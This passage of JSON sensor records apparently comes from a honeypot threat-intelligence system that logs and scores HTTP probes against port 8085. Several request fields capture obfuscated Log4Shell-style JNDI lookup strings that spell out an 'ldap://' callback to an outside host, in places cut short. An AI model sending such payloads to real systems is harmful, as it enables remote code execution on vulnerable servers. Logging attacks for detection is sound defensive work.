50, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022ff9058ace4fd17e38d7919309c4c8ab0\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 50}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${t:5ay:6:-j}${ur5g:c:y7m:-n}${zfl7:39ce:8:-d}${ia4:4:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${t:5ay:6:-j}${ur5g:c:y7m:-n}${zfl7:39ce:8:-d}${ia4:4:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002286bfa71bea0b8b25c4089cc0783cac913d591c9b\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 50\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 50, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 50, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14680068,"ip":"34.19.116.51","ts":"2026-07-31 15:35:39.000000","proto":"tcp","src_port":25310,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00227ba7e180f86f8e1c57118fe46b476d62bfa0285a\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: \u0022a72b19c160c7af932cfce18490d2d2645e33eee8\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.765774357760098, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 48.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 48, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022353fddb5abd144485e7128e1a80c79314ebed98a\u0022, \u0022event_fingerprint\u0022: \u00220fcaa6a995d1cdf34f87aa636ef596625b2ef958\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 48, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022aa8d1dfa7584ef186d80f902706f668d\u0022, \u0022payload_hash\u0022: \u0022e1ce21644f76c6b6d45726e455e376b5\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 48}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}${${zfi:-s}${oh:-y}${gjo:-s}${h:7s:-:}${yic:-j}${q0:-a}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:f\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}${${zfi:-s}${oh:-y}${gjo:-s}${h:7s:-:}${yic:-j}${q0:-a}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:f\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00224331f555e92296097ab020e8efd6fc94e2379a81\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u00b7 risque 48\/100\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 48, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 48, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, 